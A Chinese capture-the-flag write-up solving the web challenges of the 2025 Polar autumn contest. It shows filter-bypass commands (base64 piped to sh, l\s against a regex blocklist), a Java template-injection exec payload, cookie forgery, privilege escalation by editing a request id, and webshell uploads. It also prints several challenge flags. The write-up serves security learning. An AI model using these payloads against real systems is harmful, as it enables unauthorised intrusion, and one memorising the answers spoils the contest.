2025_Polar秋季赛_web全解

news/2025/9/26 22:01:44/文章来源:https://www.cnblogs.com/F07on3/p/19114347

Polar秋季赛-web

white-简

考点:

rceBase编码绕过倒是正常

关键认识到一个新的读文件的函数rev,逆向输出文件内容

给出一个终端进行命令执行

image-20250923142643557

一些字符,关键字被过滤

右侧白名单中存在echo,base,sh等命令

尝试拼接绕过

echo "bHMK" | base64 -d | sh

去掉引号能够执行成功

读取根目录文件即可

echo Y2F0IC9mbGFnLnBocAo= | base64 -d | sh

image-20250923142622069

duan@F0T0ne:~$ rev /flag
}galf_si_siht{galf

polar快递-中

考点:

垂直越权

初始页面是一个登录框,右上角有一个备忘录

看到敏感部分,权限说明

image-20250923143927958

里边甚至有api接口说明

image-20250923144103129

底部找到默认账密

image-20250923144143393

登录普通用户,发现当前路由为polaruser,改为admin或许能够越权

而且请求id为user,这里一定可以修改

image-20250923144308646

改为admin不行,根据权限说明,改为root成功

image-20250923144503543

直接将id改为root也能请求成功

image-20250923144710984

狗黑子的舔狗日记-中

考点:

常规渗透,但是环境搭建的很有趣。特别是最后问名字时

真实场景还原,发现存在读取文件的参数

image-20250923144854221

尝试进行伪协议读取,读取index.php

发现三个页面文件

define('PAGE_WECHAT', 'xiaoxi.php');
define('PAGE_MOMENTS', 'pengyouquan.php');
define('PAGE_PROFILE', 'wode.php');

找到flag字段

image-20250923145409031

解码结果如下:

flag{女神的名字md5加密}
tips  女神微信号:nvshen

在个人主页存在退出功能,可以登录flag给的账号

image-20250923145554978

扫描目录发现信息,flag.php没用,www下来一个字典,应该是用来爆破密码的

image-20250923145656035

筛选http头相似度中找到异常响应,nvshen.php

image-20250923150303033

在src后改为nvshen.php,或者使用nvshen345密码登录进去

image-20250923150616288

真抽象,进去了,问问舔狗

flag{女神的名字md5加密}
tips  女神微信号:nvshen

把柳茹烟md5后交上去对了

aa1e3ea993e122de5de6e387db6c8609

不得不说这题出题人真是有心了

Squirtle的论坛-中

初始页面给的信息刚开始没看懂

image-20250923151406391

直接扫目录

image-20250923151439065

upload,src和admin

只有admin有回显,提示权限不够,似乎存在权限校验

欢迎大家,这里的user可以是任何人,但master只能是Squirtle!!!

尝试伪造Cookie登录

master=Squirtle

image-20250923151720087

成功登录,尝试文件上传

image-20250923153115202

点击文件直接跳转,rce即可

image-20250923155536926

PolarCMS-中

初始页面是一个登录框

密码处有提示

image-20250926194044034

输入admin密码<直接就进去了

尝试进行文件上传,但文件都被当做文本文件

tip:试试java文本框

java搭建的,纯java构建,能够创建新的页面

image-20250926194342924

在模版页面尝试进行java的模版注入${exec("ls")}成功执行

image-20250926195323062

${exec("ls")}

Dockerfile
com
data
pages
polar-cms.tar
src
static

${exec("cat Dockerfile")}

dockerfile

# 使用单一阶段构建,减少复杂度
FROM openjdk:17-slimWORKDIR /app# 复制所有文件
COPY . .# 创建必要的目录
RUN mkdir -p data static/uploads# 编译 Java 代码
RUN javac -d . src/com/polar/cms/*.java# 设置权限
RUN chmod 777 static/uploads# 在根目录创建 flag 文件
RUN echo "flag{2c97920bc4798a23da9ae504f2e05f3b}" > /flag && \chmod 644 /flag# 暴露端口
EXPOSE 8080# 运行应用
CMD ["java", "com.polar.cms.PolarCmsServer"]

狗黑子的eval-困

初始页面没有信息

image-20250921205425121

扫目录找到flag.php和shell.php

这样的话,flag.php给的应该是提示我们获取已经写好的木马文件的key,进而去连接shell.php就行

<body>
<!--payload.php 狗黑子数数喜欢从1开始,不喜欢0 -->tips:gouheizigouheizi=2gouheizi</body>
</html>

给了三个提示,先访问payload.php

<?php 
highlight_file(__FILE__);
//gou=a,gougou=b;
$gou1="12gou";$gou5="16gou";$gou4="5gou";$gou6="gou";
$gou2="22gou";$gou3="15gou";
$gou7="c3Rnbw==";
$gou8='5pys572R6aG15piv5LiA5Liq5Zyo57q/5bel5YW377yM5Y+v5Lul5oqK5a2X56ym5Liy6L2s5oiQIEJhc2U2NCDmiJbogIXku44gQmFzZTY0IOi9rOaIkOaIkOWtl+espuS4s';
$gou13=$gou8{34};$gou17=$gou8{10};$gou12=$gou8{15};$gou10=$gou8{105};$gou14=$gou12;$gou11=$gou8{51};$gou=$gou4.$gou2.$gou6.$gou1.$gou5.$hou3.$gou7.$gou8.$gou11.$gou13.$gou17.$gou12.$gou10.$gou14;
?>

利用其他两个提示将$gou变量进行拆分解密

<?php 
highlight_file(__FILE__);
//gou=a,gougou=b;
// 1gou=a.2gou=b.3gou=c.4gou=d.5gou=e.6gou=f;
$gou1="12gou";$gou5="16gou";$gou4="5gou";$gou6="gou";
$gou2="22gou";$gou3="15gou";
// 12gou=l,16gou=p,5gou=e,15gou=o,22gou=v,15gou=o
// gou1=l,gou5=p,gou4=e,gou3=o,gou2=v,gou6=a
$gou7="c3Rnbw==";
// 解码为stgo
// 提示不是从零开始的,前边加一个字符
$gou8='a5pys572R6aG15piv5LiA5Liq5Zyo57q/5bel5YW377yM5Y+v5Lul5oqK5a2X56ym5Liy6L2s5oiQIEJhc2U2NCDmiJbogIXku44gQmFzZTY0IOi9rOaIkOaIkOWtl+espuS4s';
// 将所有{}改为[]以适应PHP 7.4+版本
$gou13=$gou8[34];$gou17=$gou8[10];$gou12=$gou8[15];$gou10=$gou8[105];$gou14=$gou12;$gou11=$gou8[51];
// gou13=5,gou17=7,gou12=8,gou10=0,gou14=8,gou11=3
$gou=$gou4.$gou2.$gou6.$gou1.$gou5.$hou3.$gou7.$gou8.$gou11.$gou13.$gou17.$gou12.$gou10.$gou14;
// $a=$gou4.$gou2.$gou6.$gou1.$gou5.$hou3;
// $a=evalpo
$b=$gou11.$gou13.$gou17.$gou12.$gou10.$gou14;
echo "evalpostgo".$b;
?>
evalpostgoubaizieval post goubaizi

我的结果中是大写的Z不知道为什么

显然就是一句话木马的内容

image-20250921210755208

我的蚁剑连不上,直接RCE

image-20250921210820376

无回显,重定向输出

image-20250921210944162

但是常见位置没有找到flag

image-20250921211037891

使用我先前习惯的find查找没有成功

image-20250921211713153

由于当前目录匹配成功所以就没有查找其他目录,导致结果很少,没有得到预想的结果

find / -name "*flag*" 2>/dev/null

image-20250921211932933

清晰全面

老刘的小店-困

登录进去后东西都买不起,看到转账功能

image-20250926202245047

查看源码,特地提醒是在前端做了校验,抓包即可绕过

image-20250926202516170

新建账号,进行转账,抓包修改

image-20250926202640122

另一个账号已经收到

image-20250926202742645

前端获取信息

image-20250926203100081

<!-- if (isset($_GET['id'])) {
$id=$_GET['id'];if(preg_match("/ls|dir|flag|type|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i",$id)) {$output = '你想干什么?';}else{system($id);}
} -->

使用转义字符绕过

image-20250926203807387

看似过滤了转义符,但直接l\s可以使用

详情可查看下边师傅博客

关于转义符 \ 在php正则中的匹配问题

image-20250926204013744

狗黑子的登录-困

初始登录框,正常扫目录

image-20250926204654337

git泄露,dumpall获取两个php

image-20250926204802272

index.php中存在注册功能

image-20250926205326444

账密相同,注册成功

image-20250926205407069

初始页面同样没有内容

image-20250926205623443

seclients_can_upload=1

出现上传页面,抓包,制作一个大于200kb的图片马上传即可

ZGZH-困

初始化界面要求提交序列化的user数据

image-20250926211521290

序列化后提交

image-20250926212551312

修改文件名

image-20250926212618414

修改为flag.php,在线有点问题手动改一下

image-20250926212652668

去pass.php文件查看

image-20250926212730171

要求还是比较复杂的

image-20250926212831472

根据提示是对857进行一个弱比较

弱比较后还是857

要有大小写和标点

科学计数法中有符合条件的

857.0E+00000000

image-20250926215410860

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/918816.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

QT:如何初始化窗体尺寸大小

QT5:如何初始化窗体尺寸大小?qt: 在构造函数中直接调用他设置大小就可以。如: this->resize( QSize( 800, 600 )); 例子:#include "mainwindow.h"MainWindow::MainWindow(QWidget *parent): QMainWind…

网站建设陆金手指下拉贰拾论坛网站建设视频教程

"code-runner.executorMap": {"python": "set PYTHONIOENCODINGutf8 && python $fullFileName"}

制作一个网站的基本步骤园林景观设计公司管理制度及流程

文章目录 寄存器(CPU工作原理)1. 通用寄存器2. 字在寄存器中的存储3. 几条汇编指令4. 物理地址5. 16位结构的CPU6. 8086CPU给出物理地址的方法7. 段的概念8. 段寄存器9 . CS和IP10. 修改CS、IP的指令11. 代码段 寄存器(CPU工作原理) 一个典型的CPU由运算器、控制器、寄存器等器…

网站怎么访问自己做的网页中国建设银行官方网站

在正常情况上&#xff0c;这是由于没的在AndroidManifest.xml中进行注册引起的。转载于:https://www.cnblogs.com/zhaojianwei/p/3971238.html

温州做网站公司哪家好企业qq官网首页

抖音在国内是比较知名的短视频运营商&#xff0c;也有很大的流量市场。这块优化好了&#xff0c;不管是对于用户还是企业来说&#xff0c;在品牌宣传上来说&#xff0c;作用还是蛮大的。抖音优化和电脑端优化&#xff0c;还是有所区别的&#xff0c;这里参考的是点赞数、评论以…

网站开发语言用什么好淘宝客网站用什么软件做

作为从事CAD设计的我&#xff0c;已经深深的了解到了CAD设计行业的辛苦。dwg格式的文件作为CAD文件格式常见的专业格式&#xff0c;它能够很好的帮助我们保存好绘制好的CAD图纸。现在几乎在很多领域都可以见到&#xff0c;有的时候会根据需要对CAD图纸进行格式转换。很多的网友…

网站开发工程师工资hangq重庆做网站哪家公司好

导读 按照现在流行的互联网分层架构模型&#xff0c;最简单的架构当属Web响应层DB存储层的架构。从最开始的单机混合部署Web和DB&#xff0c;到后来将二者拆分到不同物理机以避免共享机器硬件带来的性能瓶颈&#xff0c;再随着流量的增长&#xff0c;Web应用变为集群部署模式&…

如何给网站做右侧悬浮电话三网合一网站建设是指什么

目录 前言引用unplugin-auto-import插件的优缺点优点缺点 unplugin-auto-import插件引入安装插件配置vite配置更新TypeScript配置使用代码位置 总结 前言 是否添加unplugin-auto-import取决于项目需求和团队习惯。如果项目中频繁使用Vue相关API&#xff0c;并且团队成员都熟悉这…

9月23日(日记里有)

今天早上参加实训课程,本周我上的是数控加工,我们学习了有关操作车床最基本的安全的知识,然后我们按照老师的指导完成了老师布置的任务,然后体验了如何制作一个简单的小零件。

微信小程序实现流式传输(打字机效果)

微信小程序实现流式传输(打字机效果)Posted on 2025-09-26 21:23 且行且思 阅读(0) 评论(0) 收藏 举报最近公司在做一款小程序,其中最主要业务的体现方式就是“与AI对话”,那一定是绕不过有着打字机效果的流式…

9月25日(日记里有)

今天上的体育是篮球,今天的基础训练让我重新记起来了部分的篮球的技巧,手感也回来了部分/

建设银行网站维修图片虚拟主机代理商的网站打不开了怎么办

随着互联网的发展&#xff0c;Web1.0、Web2.0 和 Web3.0 成为了人们口中津津乐道的话题。那么&#xff0c;这三种网络时代究竟有什么区别呢&#xff1f; Web1.0 是一个只读的时代&#xff0c;那个时候&#xff0c;用户只能浏览网页&#xff0c;无法进行互动和创作。Web2.0 则是…

Git 提交代码前,一定要做的两件事

作为团队开发的一员,Git 的使用习惯直接影响大家的协作效率。分享两个我每次提交代码前必做的事,虽然简单,但能避免很多不必要的麻烦。​ 第一件事是 拉取最新代码,也就是 git pull。很多时候我们本地开发了半天,…

本地调试接口时遇到的跨域问题,十分钟解决

昨天在本地调试前端项目时,调用后端接口突然报了跨域错误,浏览器控制台清一色的 Access-Control-Allow-Origin 提示,一开始以为是后端配置的问题,折腾半天发现其实前端自己就能解决,分享下我的排查和解决过程。​…

从0开始使用LabVIEW处理数据采集卡-概述和新建新建工程

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

用 Excel 快速处理接口返回的 JSON 数据

作为前端开发者,有时候需要把接口返回的 JSON 数据整理成表格,方便和产品、测试核对数据。之前我都是手动复制粘贴,一条数据要改半天,后来发现用 Excel 就能快速处理,分享下具体步骤。​ 首先,把接口返回的 JSON…

网站建设的几个阶段商城网站不易优化

cf1552F. Telepanting 题意&#xff1a; 在一个坐标轴上&#xff0c;有n个传送门&#xff0c;格式为&#xff1a;xi,yi,si,可以从xi传送到yi&#xff0c;si表示状态&#xff0c;如果si为0&#xff0c;到位置xi时不会传送&#xff0c;si变为1.如果到达xi时si为1&#xff0c;则…

做设计有哪些好用的素材网站数字化展厅设计方案

文章目录 1. 二叉搜索树的概念2. 二叉搜索树的操作1.1 二叉搜索树的查找1.2 二叉搜索树的插入1.3 二叉搜索树的删除 1. 二叉搜索树的概念 二叉搜索树又称二叉排序树&#xff0c;它可能是一棵空树&#xff0c;也可能是具有以下性质的二叉树&#xff1a; 若它的左子树不为空&am…

调度的基本概念

基本概念 先到先服务FIFO 作业的概念 作业:一个具体的任务 用户向系统提交一个作业:用户让操作系统启动一个程序 三个层次 高级调度(作业调度) 按照一定的原则从外村的作业后备队列中挑选一个作业调入内存,并创建…

Overleaf项目文件同步工具: olsync

Hi! 我编写了一个用于Overleaf项目备份的命令行工具olsync, 希望可以帮助你更好的管理你的latex项目以及私有化的Overleaf服务实例.如果喜欢, 请点一个Star, 谢谢olsync 是一个简单的命令行工具,用于将你的 Overleaf …